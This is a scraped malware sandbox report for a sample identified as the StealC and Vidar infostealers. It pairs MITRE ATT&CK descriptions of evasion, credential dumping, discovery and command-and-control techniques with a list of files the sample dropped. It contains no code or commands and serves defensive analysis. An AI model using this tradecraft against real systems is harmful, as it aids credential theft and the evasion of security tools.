Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

C:\ProgramData\CBAKJKJJJECFIEBFHIEGHJDAFI

C:\ProgramData\CBFBKFIDHIDGHJKFBGHC

C:\ProgramData\DGDBKFBAKFBFHIECFBFIJKJKKF

C:\ProgramData\ECGDHIDA

C:\ProgramData\ECGDHIDAAFHIIDGDBFIE

C:\ProgramData\KKECFIEB

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre